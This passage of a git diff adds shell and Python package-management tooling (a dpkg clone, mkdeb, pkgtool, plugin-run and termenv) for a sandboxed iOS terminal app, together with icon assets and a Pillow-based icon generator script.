DEB="$1"; DEST="$2" + [ -f "$DEB" ] || { echo "dpkg: cannot access '$DEB'" >&2; return 1; } + [ -n "$DEST" ] || { usage; return 2; } + TMP="$ROOT/tmp/dpkg-x.$$" + rm -rf "$TMP"; mkdir -p "$TMP" "$DEST" + cp "$DEB" "$TMP/pkg.deb" + ar_extract "$TMP/pkg.deb" "$TMP" + DATA="" + for f in "$TMP"/data.tar.*; do [ -f "$f" ] && { DATA="$f"; break; }; done + [ -n "$DATA" ] || { echo "dpkg: no data archive" >&2; rm -rf "$TMP"; return 1; } + tar -xf "$DATA" -C "$DEST" --no-same-owner 2>/dev/null || tar -xf "$DATA" -C "$DEST" 2>/dev/null + rm -rf "$TMP" +} + +contents_deb() { + DEB="$1" + [ -f "$DEB" ] || { echo "dpkg: cannot access '$DEB'" >&2; return 1; } + TMP="$ROOT/tmp/dpkg-c.$$" + rm -rf "$TMP"; mkdir -p "$TMP" + cp "$DEB" "$TMP/pkg.deb" + ar_extract "$TMP/pkg.deb" "$TMP" + DATA="" + for f in "$TMP"/data.tar.*; do [ -f "$f" ] && { DATA="$f"; break; }; done + [ -n "$DATA" ] || { echo "dpkg: no data archive" >&2; rm -rf "$TMP"; return 1; } + case "$DATA" in + *.gz) tar -tzf "$DATA" 2>/dev/null > "$TMP/contents" ;; + *.xz) tar -tJf "$DATA" 2>/dev/null > "$TMP/contents" ;; + *) tar -tf "$DATA" 2>/dev/null > "$TMP/contents" ;; + esac + awk '{ sub(/^\.\//,""); if ($0 != "") print }' "$TMP/contents" + rm -rf "$TMP" +} + +case "${1:-}" in + -i|--install) + shift + if [ "${1:-}" = "--force-architecture" ]; then FORCE_ARCH=1; shift; fi + [ -n "${1:-}" ] || { usage; exit 2; } + install_deb "$1" + ;; + -r|--remove|-P|--purge) + shift + remove_pkg "${1:-}" + ;; + -l|--list) + list_packages + ;; + -s|--status) + shift + status_pkg "${1:-}" + ;; + -L|--listfiles) + shift + list_files "${1:-}" + ;; + -x|--extract) + shift + extract_deb "${1:-}" "${2:-}" + ;; + --contents) + shift + contents_deb "${1:-}" + ;; + --print-architecture) + echo "iphoneos-arm64" + ;; + --force-architecture) + FORCE_ARCH=1 + shift + [ -n "${1:-}" ] && install_deb "$1" + ;; + --version|-V) + echo "dpkg 1.0 (Terminal native package manager)" + ;; + ""|-h|--help|help) + usage + ;; + *) + usage + exit 2 + ;; +esac diff --git a/env/dpkg-deb b/env/dpkg-deb new file mode 100755 index 0000000..a9fc7cd --- /dev/null +++ b/env/dpkg-deb @@ -0,0 +1,22 @@ +#!/bin/sh +# dpkg-deb compatibility wrapper (subset: -x, -c, --contents) +case "${1:-}" in + -x|--extract) + shift + sh "$APPDIR/bin/dpkg" -x "$1" "$2" +exit $? + ;; + -c|--contents) + shift + sh "$APPDIR/bin/dpkg" --contents "$1" +exit $? + ;; + -b|--build) + echo "dpkg-deb: use mkdeb [arch]" >&2 + exit 2 + ;; + *) + echo "usage: dpkg-deb -x | -c | (use mkdeb to build)" >&2 + exit 2 + ;; +esac diff --git a/env/mkdeb b/env/mkdeb new file mode 100755 index 0000000..dd96807 --- /dev/null +++ b/env/mkdeb @@ -0,0 +1,109 @@ +#!/bin/sh +# mkdeb - build a Terminal-compatible .deb package and add it to the local repo +# Usage: mkdeb [architecture] +# The payload directory is copied to the prefix root; put files under +# bin/, usr/bin/, lib/, share/, etc. Maintainer scripts may be placed in +# /DEBIAN/{preinst,postinst,prerm,postrm}. + +ROOT="${TERM_ROOT:-$HOME/Documents/.terminal}" +NAME="${1:-}" +VERSION="${2:-}" +PAYLOAD="${3:-}" +ARCH="${4:-iphoneos-arm64}" +MAINTAINER="${MKDEB_MAINTAINER:-Terminal User }" +DESCRIPTION="${MKDEB_DESCRIPTION:-$NAME plugin for Terminal}" + +usage() { + echo "usage: mkdeb [architecture]" >&2 + echo " architecture: iphoneos-arm64 (default), all, darwin-arm64" >&2 + exit 2 +} + +[ -n "$NAME" ] && [ -n "$VERSION" ] && [ -n "$PAYLOAD" ] || usage +[ -d "$PAYLOAD" ] || { echo "mkdeb: payload directory not found: $PAYLOAD" >&2; exit 1; } +case "$NAME" in + *[!A-Za-z0-9+.-]*|"") echo "mkdeb: invalid package name: $NAME" >&2; exit 1 ;; +esac + +echo "mkdeb: start $NAME $VERSION" +mkdir -p "$ROOT/repo/pool" "$ROOT/tmp" "$ROOT/var/lib/dpkg/info" +DEB="$ROOT/repo/pool/${NAME}_${VERSION}_${ARCH}.deb" +if python3 -c 'pass' >/dev/null 2>&1 && [ -f "$APPDIR/bin/pkgtool" ]; then + MKDEB_MAINTAINER="$MAINTAINER" MKDEB_DESCRIPTION="$DESCRIPTION" \ + python3 "$APPDIR/bin/pkgtool" build "$DEB" "$NAME" "$VERSION" "$ARCH" "$PAYLOAD" "${MKDEB_DEPENDS:-}" + exit $? +fi +TMP="$ROOT/tmp/mkdeb.$$" +rm -rf "$TMP" +mkdir -p "$TMP/DEBIAN" + +# Control file. +{ + echo "Package: $NAME" + echo "Version: $VERSION" + echo "Architecture: $ARCH" + echo "Maintainer: $MAINTAINER" + echo "Section: plugins" + echo "Priority: optional" + echo "Description: $DESCRIPTION" + [ -n "${MKDEB_DEPENDS:-}" ] && echo "Depends: $MKDEB_DEPENDS" +} > "$TMP/DEBIAN/control" + +# Optional maintainer scripts from the payload's DEBIAN directory. +for script in preinst postinst prerm postrm; do + if [ -f "$PAYLOAD/DEBIAN/$script" ]; then + cp "$PAYLOAD/DEBIAN/$script" "$TMP/DEBIAN/$script" + chmod +x "$TMP/DEBIAN/$script" + fi +done + +# Build the two tar archives. Copy the payload first (no shell pipeline; +# nested tar pipelines can stall inside a-Shell's in-process command model). +DATA_TMP="$TMP/data" +mkdir -p "$DATA_TMP" +echo "mkdeb: copying payload..." +cp -R "$PAYLOAD"/. "$DATA_TMP"/ 2>/dev/null +rm -rf "$DATA_TMP/DEBIAN" +echo "mkdeb: writing data archive..." +tar -czf "$TMP/data.tar.gz" -C "$DATA_TMP" . +echo "mkdeb: writing control archive..." +tar -czf "$TMP/control.tar.gz" -C "$TMP" DEBIAN +printf '2.0\n' > "$TMP/debian-binary" + +DEB="$ROOT/repo/pool/${NAME}_${VERSION}_${ARCH}.deb" +rm -f "$DEB" +echo "mkdeb: writing ar archive..." +rm -f "$DEB" +tar --format=ar -cf "$DEB" -C "$TMP" debian-binary control.tar.gz data.tar.gz >/dev/null 2>&1 +if [ ! -s "$DEB" ]; then + echo "mkdeb: tar ar writer unavailable; trying Python fallback..." >&2 + if python3 -c 'pass' >/dev/null 2>&1 && [ -f "$APPDIR/bin/ardeb" ]; then + python3 "$APPDIR/bin/ardeb" pack "$DEB" "$TMP/debian-binary" "$TMP/control.tar.gz" "$TMP/data.tar.gz" + fi +fi +if [ ! -s "$DEB" ]; then + echo "mkdeb: failed to create $DEB" >&2 + rm -rf "$TMP" + exit 1 +fi + +# Update Packages: append the new package stanza. +SIZE=$(wc -c < "$DEB" | tr -d ' ') +PACKAGES="$ROOT/repo/Packages" +touch "$PACKAGES" +{ + echo "Package: $NAME" + echo "Version: $VERSION" + echo "Architecture: $ARCH" + echo "Maintainer: $MAINTAINER" + echo "Section: plugins" + echo "Priority: optional" + echo "Filename: pool/$(basename "$DEB")" + echo "Size: $SIZE" + echo "Description: $DESCRIPTION" + [ -n "${MKDEB_DEPENDS:-}" ] && echo "Depends: $MKDEB_DEPENDS" + echo "" +} >> "$PACKAGES" + +rm -rf "$TMP" +echo "$DEB" diff --git a/env/pkgtool b/env/pkgtool new file mode 100644 index 0000000..dae3903 --- /dev/null +++ b/env/pkgtool @@ -0,0 +1,286 @@ +#!/usr/bin/env python3 +"""pkgtool - Python package backend for Terminal's native apt/dpkg. + +This avoids a-Shell's shell/tar/ar quirks for package construction and +extraction. It is used when Python 3 is available (the full a-Shell app has +it). Native Mach-O payloads are installed but flagged as non-runnable. +""" + +import io +import os +import shutil +import sys +import tarfile +import tempfile + +ROOT = os.environ.get("TERM_ROOT") or os.path.join(os.path.expanduser("~"), "Documents", ".terminal") +INFO = os.path.join(ROOT, "var", "lib", "dpkg", "info") +STATUS = os.path.join(ROOT, "var", "lib", "dpkg", "status") +PACKAGES = os.path.join(ROOT, "repo", "Packages") + + +def ar_pack(out_path, members): + with open(out_path, "wb") as out: + out.write(b"!\n") + for path in members: + data = open(path, "rb").read() + name = os.path.basename(path) + if len(name) > 15: + raise SystemExit("pkgtool: ar member name too long: " + name) + header = ( + name.ljust(16) + "0".ljust(12) + "0".ljust(6) + "0".ljust(6) + + "100644".ljust(8) + str(len(data)).ljust(10) + "`\n" + ).encode("ascii") + out.write(header) + out.write(data) + if len(data) & 1: + out.write(b"\n") + + +def ar_unpack(archive, dest): + data = open(archive, "rb").read() + if not data.startswith(b"!\n"): + raise SystemExit("pkgtool: not a Debian ar archive") + pos = 8 + while pos + 60 <= len(data): + header = data[pos:pos + 60] + pos += 60 + name = header[:16].decode("ascii", "ignore").strip().rstrip("/") + if not name: + continue + try: + size = int(header[48:58].decode("ascii", "ignore").strip() or "0") + except ValueError: + size = 0 + body = data[pos:pos + size] + pos += size + (size & 1) + if name in (".", ".."): + continue + open(os.path.join(dest, name), "wb").write(body) + + +def safe_extract(tar_path, dest): + os.makedirs(dest, exist_ok=True) + with tarfile.open(tar_path, "r:*") as tar: + for member in tar.getmembers(): + name = member.name.lstrip("./") + if not name or name.startswith("/") or ".." in name.split("/"): + continue + target = os.path.join(dest, name) + if member.isdir(): + os.makedirs(target, exist_ok=True) + elif member.isfile(): + os.makedirs(os.path.dirname(target), exist_ok=True) + src = tar.extractfile(member) + if src is None: + continue + with open(target, "wb") as out: + shutil.copyfileobj(src, out) + os.chmod(target, member.mode & 0o777) + elif member.issym(): + os.makedirs(os.path.dirname(target), exist_ok=True) + # Symlinks are installed relative to the package root. + try: + os.symlink(member.linkname, target) + except FileExistsError: + os.unlink(target) + os.symlink(member.linkname, target) + + +def parse_control(control_path): + fields = {} + with open(control_path, "r", errors="replace") as f: + for line in f: + if line.startswith(" ") or line.startswith("\t"): + continue + if ":" in line: + k, v = line.split(":", 1) + fields[k.strip()] = v.strip() + return fields + + +def append_packages(fields, filename): + os.makedirs(os.path.dirname(PACKAGES), exist_ok=True) + with open(PACKAGES, "a") as f: + f.write("Package: %s\n" % fields.get("Package", "")) + f.write("Version: %s\n" % fields.get("Version", "")) + f.write("Architecture: %s\n" % fields.get("Architecture", "iphoneos-arm64")) + f.write("Maintainer: %s\n" % fields.get("Maintainer", "unknown")) + f.write("Section: %s\n" % fields.get("Section", "plugins")) + f.write("Priority: %s\n" % fields.get("Priority", "optional")) + f.write("Filename: pool/%s\n" % os.path.basename(filename)) + f.write("Size: %d\n" % os.path.getsize(filename)) + if fields.get("Depends"): + f.write("Depends: %s\n" % fields["Depends"]) + f.write("Description: %s\n\n" % fields.get("Description", "")) + + +def build(out_path, name, version, arch, payload, depends=""): + os.makedirs(os.path.dirname(packages_dir()), exist_ok=True) + tmp = tempfile.mkdtemp(prefix="mkdeb.", dir=os.path.join(ROOT, "tmp")) + try: + control_dir = os.path.join(tmp, "DEBIAN") + os.makedirs(control_dir, exist_ok=True) + control = ( + "Package: %s\nVersion: %s\nArchitecture: %s\n" + "Maintainer: %s\nSection: plugins\nPriority: optional\n" + "Description: %s\n" + % (name, version, arch, + os.environ.get("MKDEB_MAINTAINER", "Terminal User "), + os.environ.get("MKDEB_DESCRIPTION", name + " plugin for Terminal")) + ) + if depends: + control += "Depends: %s\n" % depends + open(os.path.join(control_dir, "control"), "w").write(control) + + payload_debian = os.path.join(payload, "DEBIAN") + if os.path.isdir(payload_debian): + for script in ("preinst", "postinst", "prerm", "postrm"): + src = os.path.join(payload_debian, script) + if os.path.isfile(src): + shutil.copy(src, os.path.join(control_dir, script)) + + control_tar = os.path.join(tmp, "control.tar.gz") + with tarfile.open(control_tar, "w:gz") as tar: + for root, dirs, files in os.walk(control_dir): + for fn in files: + full = os.path.join(root, fn) + arc = os.path.relpath(full, tmp) + tar.add(full, arcname=arc) + + data_tar = os.path.join(tmp, "data.tar.gz") + with tarfile.open(data_tar, "w:gz") as tar: + for root, dirs, files in os.walk(payload): + dirs[:] = [d for d in dirs if not (root == payload and d == "DEBIAN")] + for fn in files: + full = os.path.join(root, fn) + arc = os.path.relpath(full, payload) + tar.add(full, arcname="./" + arc) + open(os.path.join(tmp, "debian-binary"), "w").write("2.0\n") + ar_pack(out_path, [os.path.join(tmp, "debian-binary"), control_tar, data_tar]) + + fields = parse_control(os.path.join(control_dir, "control")) + append_packages(fields, out_path) + print(out_path) + return 0 + finally: + shutil.rmtree(tmp, ignore_errors=True) + + +def packages_dir(): + return os.path.join(ROOT, "repo", "pool") + + +def install(deb): + if not os.path.isfile(deb): + print("pkgtool: cannot access archive %s" % deb, file=sys.stderr) + return 1 + os.makedirs(INFO, exist_ok=True) + os.makedirs(os.path.dirname(STATUS), exist_ok=True) + tmp = tempfile.mkdtemp(prefix="dpkg.", dir=os.path.join(ROOT, "tmp")) + try: + ar_unpack(deb, tmp) + control_tar = data_tar = None + for fn in os.listdir(tmp): + if fn.startswith("control.tar"): + control_tar = os.path.join(tmp, fn) + elif fn.startswith("data.tar"): + data_tar = os.path.join(tmp, fn) + if not control_tar or not data_tar: + print("pkgtool: missing control or data archive", file=sys.stderr) + return 1 + control_dir = os.path.join(tmp, "control") + safe_extract(control_tar, control_dir) + control_path = os.path.join(control_dir, "control") + if not os.path.isfile(control_path): + control_path = os.path.join(control_dir, "DEBIAN", "control") + if not os.path.isfile(control_path): + print("pkgtool: control file not found", file=sys.stderr) + return 1 + fields = parse_control(control_path) + pkg = fields.get("Package", "") + version = fields.get("Version", "") + arch = fields.get("Architecture", "iphoneos-arm64") + if not pkg or not version: + print("pkgtool: invalid control (Package/Version missing)", file=sys.stderr) + return 1 + if arch not in ("", "all", "iphoneos-arm64", "darwin-arm64", "a-shell"): + print("pkgtool: architecture '%s' is not native to iOS/Terminal" % arch, file=sys.stderr) + print("pkgtool: use the shell dpkg --force-architecture only for script packages", file=sys.stderr) + return 1 + + print("Selecting previously unselected package %s." % pkg) + print("Unpacking %s (%s) ..." % (pkg, version)) + safe_extract(data_tar, ROOT) + + file_list = [] + with tarfile.open(data_tar, "r:*") as tar: + for member in tar.getmembers(): + name = member.name.lstrip("./") + if name and not name.startswith("/") and ".." not in name.split("/"): + file_list.append(name) + if member.isfile() and any(part in ("bin", "sbin", "libexec") for part in name.split("/")): + full = os.path.join(ROOT, name) + try: + magic = open(full, "rb").read(4) + except OSError: + magic = b"" + if magic in (b"\xcf\xfa\xed\xfe", b"\xfe\xed\xfa\xcf"): + print("pkgtool: note: %s is a native Mach-O binary; a-Shell cannot run it." % name, file=sys.stderr) + open(os.path.join(INFO, pkg + ".list"), "w").write("\n".join(file_list) + "\n") + + # Maintainer scripts are kept for inspection/removal, but not executed: + # a-Shell has no fork/exec for arbitrary shell children in the Python + # backend. Script-only packages should use dpkg's shell path if needed. + for script in ("preinst", "postinst", "prerm", "postrm"): + src = os.path.join(control_dir, "DEBIAN", script) + if not os.path.isfile(src): + src = os.path.join(control_dir, script) + if os.path.isfile(src): + shutil.copy(src, os.path.join(INFO, pkg + "." + script)) + + # Replace the package stanza in the status database. + stanzas = [] + if os.path.isfile(STATUS): + with open(STATUS, "r", errors="replace") as f: + current = [] + for line in f: + if line.strip() == "": + if current: + stanzas.append("".join(current)) + current = [] + else: + current.append(line) + if current: + stanzas.append("".join(current)) + kept = [s for s in stanzas if not s.startswith("Package: %s\n" % pkg)] + kept.append( + "Package: %s\nStatus: install ok installed\nPriority: %s\nSection: %s\n" + "Maintainer: %s\nArchitecture: %s\nVersion: %s\nDescription: %s\n\n" + % (pkg, fields.get("Priority", "optional"), fields.get("Section", "plugins"), + fields.get("Maintainer", "unknown"), arch, version, + fields.get("Description", "")) + ) + open(STATUS, "w").write("\n".join(kept)) + print("Setting up %s (%s) ..." % (pkg, version)) + return 0 + finally: + shutil.rmtree(tmp, ignore_errors=True) + + +def main(): + if len(sys.argv) < 2: + print(__doc__) + return 2 + cmd = sys.argv[1] + if cmd == "build" and len(sys.argv) >= 7: + return build(sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5], sys.argv[6], + sys.argv[7] if len(sys.argv) > 7 else "") + if cmd == "install" and len(sys.argv) >= 3: + return install(sys.argv[2]) + print(__doc__) + return 2 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/env/plugin-run b/env/plugin-run new file mode 100644 index 0000000..eed65a6 --- /dev/null +++ b/env/plugin-run @@ -0,0 +1,32 @@ +#!/bin/sh +# plugin-run - run a native Terminal plugin safely. +# a-Shell's in-process command loader refuses standalone Mach-O binaries; +# script plugins and WebAssembly plugins can run. This wrapper gives a clear +# error instead of "command not found" for native packages. + +ROOT="${TERM_ROOT:-$HOME/Documents/.terminal}" +if [ $# -eq 0 ]; then + echo "usage: plugin-run [args...]" >&2 + exit 2 +fi + +CMD="$1" +shift +FOUND=$(which "$CMD" 2>/dev/null) +if [ -z "$FOUND" ]; then + echo "plugin-run: '$CMD' not found in PATH" >&2 + exit 127 +fi + +MAGIC=$(dd if="$FOUND" bs=4 count=1 2>/dev/null | od -An -tx1 2>/dev/null | tr -d ' \n') +case "$MAGIC" in + cffaedfe|feedfacf|cafebabe|bebafeca) + echo "plugin-run: '$CMD' is a native Mach-O executable." >&2 + echo "a-Shell does not execute standalone Mach-O binaries in its sandbox." >&2 + echo "Native Procursus/Havoc CLI packages require a jailbreak or a Linux emulator." >&2 + echo "Script plugins (#!/bin/sh, python, perl, lua, wasm) can run normally." >&2 + exit 126 + ;; +esac + +"$FOUND" "$@" diff --git a/env/termenv b/env/termenv new file mode 100755 index 0000000..6c71c92 --- /dev/null +++ b/env/termenv @@ -0,0 +1,222 @@ +#!/bin/sh +# termenv - independent native plugin environment for Terminal +# This is a POSIX sh environment, not a Linux userland. Packages are +# Terminal-compatible .deb files (scripts or iOS/Darwin arm64 binaries). + +ROOT="${TERM_ROOT:-$HOME/Documents/.terminal}" +APPDIR="${APPDIR:-/Applications/Terminal.app}" +PROFILE="$ROOT/etc/profile" +SOURCES="$ROOT/etc/apt/sources.list" + +usage() { + printf '%s\n' "Usage: termenv " + printf '%s\n' "" + printf '%s\n' " init Create the independent prefix and the local apt repository" + printf '%s\n' " status Show prefix, PATH, apt/dpkg and installed packages" + printf '%s\n' " enter Print the command that activates the environment" + printf '%s\n' " run Run a command inside the environment" + printf '%s\n' " on Add activation to ~/Documents/.profile" + printf '%s\n' " off Remove activation from ~/Documents/.profile" + printf '%s\n' " selftest init + apt update + install the sample \"hello\" package" + printf '%s\n' " clean Remove apt caches and temporary files" + printf '%s\n' "" + printf '%s\n' "Environment:" + printf '%s\n' " TERM_ROOT=~/Documents/.terminal" + printf '%s\n' " PREFIX=$TERM_ROOT" +} +ensure_dirs() { + mkdir -p "$ROOT/bin" "$ROOT/sbin" "$ROOT/lib" "$ROOT/include" \ + "$ROOT/share/man" "$ROOT/etc/apt" \ + "$ROOT/var/lib/dpkg/info" "$ROOT/var/lib/apt/lists" \ + "$ROOT/var/cache/apt/archives" "$ROOT/var/log" \ + "$ROOT/tmp" "$ROOT/repo/pool" "$ROOT/home" + [ -f "$ROOT/var/lib/dpkg/status" ] || : > "$ROOT/var/lib/dpkg/status" +} + +write_profile() { + if [ ! -f "$PROFILE" ]; then + cat > "$PROFILE" < "$SOURCES" + return + fi + TMP="$ROOT/tmp/sources.$$" + awk -v desired="$LOCAL_LINE" ' + /^deb .*file:\/\/.*\/\.terminal\/repo/ { print desired; found=1; next } + { print } + END { if (!found) print desired } + ' "$SOURCES" > "$TMP" + mv "$TMP" "$SOURCES" + if ! grep -qF "https://repo.procurs.us/" "$SOURCES"; then + printf '%s\n' "$PROCURUS_LINE" >> "$SOURCES" + fi + if ! grep -qF "https://repo.havoc.app/" "$SOURCES"; then + printf '%s\n' "$HAVOC_LINE" >> "$SOURCES" + fi +} + +make_sample() { + if grep -q '^Package: hello$' "$ROOT/repo/Packages" 2>/dev/null; then + return 0 + fi + SAMPLE="$ROOT/share/termenv/samples/hello" + mkdir -p "$SAMPLE/bin" + cat > "$SAMPLE/bin/hello" << 'EOF' +#!/bin/sh +echo "Hello from the Terminal plugin environment." +echo "PREFIX=$PREFIX" +echo "TERM_ROOT=$TERM_ROOT" +if [ -d "$HOME/Documents/_sandbox" ]; then + echo "Sandbox escape: available (see $HOME/Documents/_sandbox)" +fi +EOF + chmod +x "$SAMPLE/bin/hello" + if [ -f "$APPDIR/bin/mkdeb" ]; then + sh "$APPDIR/bin/mkdeb" hello 1.0.0 "$SAMPLE" iphoneos-arm64 + echo "termenv: mkdeb exit=$?" + fi +} + +do_init() { + echo "termenv: creating directories..." + ensure_dirs + echo "termenv: writing profile/sources..." + write_profile + write_sources + [ -f "$ROOT/repo/Packages" ] || : > "$ROOT/repo/Packages" + echo "termenv: creating sample package..." + make_sample + echo "termenv: sample ready" + echo "Prefix: $ROOT" + echo "Profile: $PROFILE" + echo "Run: source \"$PROFILE\" (or: termenv on)" +} + +do_status() { + ensure_dirs + echo "Terminal native plugin environment" + echo " prefix: $ROOT" + echo " profile: $PROFILE" + echo " apt: $APPDIR/bin/apt" + echo " dpkg: $APPDIR/bin/dpkg" + echo " sources: $SOURCES" + if [ -f "$SOURCES" ]; then + sed 's/^/ /' "$SOURCES" + fi + echo " packages:" + if [ -s "$ROOT/var/lib/dpkg/status" ]; then + awk '/^Package: /{printf " %s", substr($0,10)} /^Version: /{printf " %s", substr($0,10)} /^Status: /{status=substr($0,9)} /^$/{if(status ~ /installed/) print ""}' "$ROOT/var/lib/dpkg/status" + else + echo " (none)" + fi + echo " sandbox: $HOME/Documents/_sandbox" +} + +do_run() { + if [ $# -eq 0 ]; then + echo "usage: termenv run " >&2 + exit 2 + fi + if [ -f "$PROFILE" ]; then + . "$PROFILE" + fi + "$@" +} + +do_on() { + do_init + PROFILE_FILE="$HOME/Documents/.profile" + MARK_BEGIN="# >>> Terminal plugin environment >>>" + MARK_END="# <<< Terminal plugin environment <<<" + if grep -qF "$MARK_BEGIN" "$PROFILE_FILE" 2>/dev/null; then + echo "Activation already present in $PROFILE_FILE" + return 0 + fi + { + echo "$MARK_BEGIN" + echo "source \"\$HOME/Documents/.terminal/etc/profile\"" + echo "$MARK_END" + } >> "$PROFILE_FILE" + echo "Activation added to $PROFILE_FILE" +} + +do_off() { + PROFILE_FILE="$HOME/Documents/.profile" + if [ ! -f "$PROFILE_FILE" ]; then + echo "No $PROFILE_FILE" + return 0 + fi + TMP="$ROOT/tmp/profile.$$" + awk ' + /# >>> Terminal plugin environment >>>/ {skip=1; next} + /# <<< Terminal plugin environment << "$TMP" + mv "$TMP" "$PROFILE_FILE" + echo "Activation removed from $PROFILE_FILE" +} + +do_clean() { + rm -rf "$ROOT/tmp"/* + rm -f "$ROOT/var/cache/apt/archives/"*.deb + echo "Cleaned caches" +} + +do_selftest() { + do_init + . "$PROFILE" + echo "=== apt update ===" + APT_SKIP_REMOTE=1 sh "$APPDIR/bin/apt" update + echo "=== apt install hello ===" + sh "$APPDIR/bin/apt" install hello + echo "=== hello ===" + hello + echo "=== installed packages ===" + sh "$APPDIR/bin/apt" list --installed + echo "=== dpkg -l ===" + sh "$APPDIR/bin/dpkg" -l +} + +case "${1:-}" in + init) do_init ;; + status) do_status ;; + enter) echo "source \"$PROFILE\"" ;; + run) shift; do_run "$@" ;; + on) do_on ;; + off) do_off ;; + clean) do_clean ;; + selftest) do_selftest ;; + ""|-h|--help|help) usage ;; + *) usage; exit 2 ;; +esac diff --git a/icon/Assets.xcassets/Contents.json b/icon/Assets.xcassets/Contents.json new file mode 100644 index 0000000..c47b5f2 --- /dev/null +++ b/icon/Assets.xcassets/Contents.json @@ -0,0 +1,6 @@ +{ + "info": { + "author": "xcode", + "version": 1 + } +} \ No newline at end of file diff --git a/icon/Assets.xcassets/DisplayIcon.appiconset/Contents.json b/icon/Assets.xcassets/DisplayIcon.appiconset/Contents.json new file mode 100644 index 0000000..4988cff --- /dev/null +++ b/icon/Assets.xcassets/DisplayIcon.appiconset/Contents.json @@ -0,0 +1,116 @@ +{ + "images": [ + { + "filename": "DisplayIcon20x20@2x.png", + "idiom": "iphone", + "scale": "2x", + "size": "20x20" + }, + { + "filename": "DisplayIcon20x20@3x.png", + "idiom": "iphone", + "scale": "3x", + "size": "20x20" + }, + { + "filename": "DisplayIcon29x29@2x.png", + "idiom": "iphone", + "scale": "2x", + "size": "29x29" + }, + { + "filename": "DisplayIcon29x29@3x.png", + "idiom": "iphone", + "scale": "3x", + "size": "29x29" + }, + { + "filename": "DisplayIcon40x40@2x.png", + "idiom": "iphone", + "scale": "2x", + "size": "40x40" + }, + { + "filename": "DisplayIcon40x40@3x.png", + "idiom": "iphone", + "scale": "3x", + "size": "40x40" + }, + { + "filename": "DisplayIcon60x60@2x.png", + "idiom": "iphone", + "scale": "2x", + "size": "60x60" + }, + { + "filename": "DisplayIcon60x60@3x.png", + "idiom": "iphone", + "scale": "3x", + "size": "60x60" + }, + { + "filename": "DisplayIcon20x20~ipad.png", + "idiom": "ipad", + "scale": "1x", + "size": "20x20" + }, + { + "filename": "DisplayIcon20x20@2x~ipad.png", + "idiom": "ipad", + "scale": "2x", + "size": "20x20" + }, + { + "filename": "DisplayIcon29x29~ipad.png", + "idiom": "ipad", + "scale": "1x", + "size": "29x29" + }, + { + "filename": "DisplayIcon29x29@2x~ipad.png", + "idiom": "ipad", + "scale": "2x", + "size": "29x29" + }, + { + "filename": "DisplayIcon40x40~ipad.png", + "idiom": "ipad", + "scale": "1x", + "size": "40x40" + }, + { + "filename": "DisplayIcon40x40@2x~ipad.png", + "idiom": "ipad", + "scale": "2x", + "size": "40x40" + }, + { + "filename": "DisplayIcon76x76~ipad.png", + "idiom": "ipad", + "scale": "1x", + "size": "76x76" + }, + { + "filename": "DisplayIcon76x76@2x~ipad.png", + "idiom": "ipad", + "scale": "2x", + "size": "76x76" + }, + { + "filename": "DisplayIcon83.5x83.5@2x~ipad.png", + "idiom": "ipad", + "scale": "2x", + "size": "83.5x83.5" + }, + { + "filename": "DisplayIcon1024.png", + "idiom": "ios-marketing", + "scale": "1x", + "size": "1024x1024" + } + ], + "info": { + "author": "xcode", + "version": 1 + } +} \ No newline at end of file diff --git a/icon/Assets.xcassets/DisplayIcon.appiconset/DisplayIcon1024.png b/icon/Assets.xcassets/DisplayIcon.appiconset/DisplayIcon1024.png new file mode 100644 index 0000000..d909c39 Binary files /dev/null and b/icon/Assets.xcassets/DisplayIcon.appiconset/DisplayIcon1024.png differ diff --git a/icon/Assets.xcassets/DisplayIcon.appiconset/DisplayIcon20x20@2x.png b/icon/Assets.xcassets/DisplayIcon.appiconset/DisplayIcon20x20@2x.png new file mode 100644 index 0000000..bff46f3 Binary files /dev/null and b/icon/Assets.xcassets/DisplayIcon.appiconset/DisplayIcon20x20@2x.png differ diff --git a/icon/Assets.xcassets/DisplayIcon.appiconset/DisplayIcon20x20@2x~ipad.png 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b/icon/icon-master.png differ diff --git a/icon/make_icon.py b/icon/make_icon.py new file mode 100644 index 0000000..e69b347 --- /dev/null +++ b/icon/make_icon.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python3 +"""Generate the Terminal app icon set (macOS + Pillow).""" + +import json +import os +import shutil +import subprocess +import sys + +from PIL import Image, ImageDraw, ImageFilter, ImageFont + +ROOT = os.path.dirname(os.path.abspath(__file__)) +MASTER = os.path.join(ROOT, "icon-master.png") +ASSETS = os.path.join(ROOT, "Assets.xcassets") +ICONSET = os.path.join(ASSETS, "DisplayIcon.appiconset") +OUT = os.path.join(ROOT, "out") + +SIZE = 1024 + +# Background gradient (deep blue-black to black). +img = Image.new("RGB", (SIZE, SIZE), (5, 7, 10)) +pix = img.load() +for y in range(SIZE): + t = y / (SIZE - 1) + r = int(8 + 10 * t) + g = int(13 + 15 * t) + b = int(20 + 22 * t) + for x in range(SIZE): + # A very subtle vertical/horizontal vignette. + edge = min(x, SIZE - 1 - x, y, SIZE - 1 - y) / (SIZE / 2) + v = 0.85 + 0.15 * min(1.0, edge) + pix[x, y] = (int(r * v), int(g * v), int(b * v)) + +draw = ImageDraw.Draw(img) + +# Terminal card. +card = (112, 154, 912, 870) +radius = 96 +draw.rounded_rectangle(card, radius=radius, fill=(13, 17, 23), outline=(48, 54, 61), width=10) + +# Top bar with traffic-light dots. +top = (112, 154, 912, 300) +draw.rounded_rectangle(top, radius=radius, fill=(22, 27, 34)) +draw.rectangle((112, 250, 912, 300), fill=(22, 27, 34)) +draw.line((112, 300, 912, 300), fill=(48, 54, 61), width=6) +for cx, color in ((206, (255, 95, 86)), (286, (255, 189, 46)), (366, (39, 201, 63))): + draw.ellipse((cx - 28, 201, cx + 28, 257), fill=color) + +# Green prompt glow. +glow = Image.new("RGBA", (SIZE, SIZE), (0, 0, 0, 0)) +gdraw = ImageDraw.Draw(glow) +try: + font = ImageFont.truetype("/System/Library/Fonts/Menlo.ttc", 400, index=1) +except Exception: + font = ImageFont.truetype("/System/Library/Fonts/Menlo.ttc", 400, index=0) +text = ">_" +bbox = gdraw.textbbox((0, 0), text, font=font) +tw, th = bbox[2] - bbox[0], bbox[3] - bbox[1] +tx = (SIZE - tw) // 2 - bbox[0] +ty = 430 - bbox[1] +gdraw.text((tx, ty), text, font=font, fill=(57, 211, 83, 255)) +glow = glow.filter(ImageFilter.GaussianBlur(34)) +img = Image.alpha_composite(img.convert("RGBA"), glow).convert("RGB") +draw = ImageDraw.Draw(img) + +# Crisp prompt and a terminal cursor block. +draw.text((tx, ty), text, font=font, fill=(63, 185, 80)) +cursor_x = tx + tw + 28 +cursor_y = 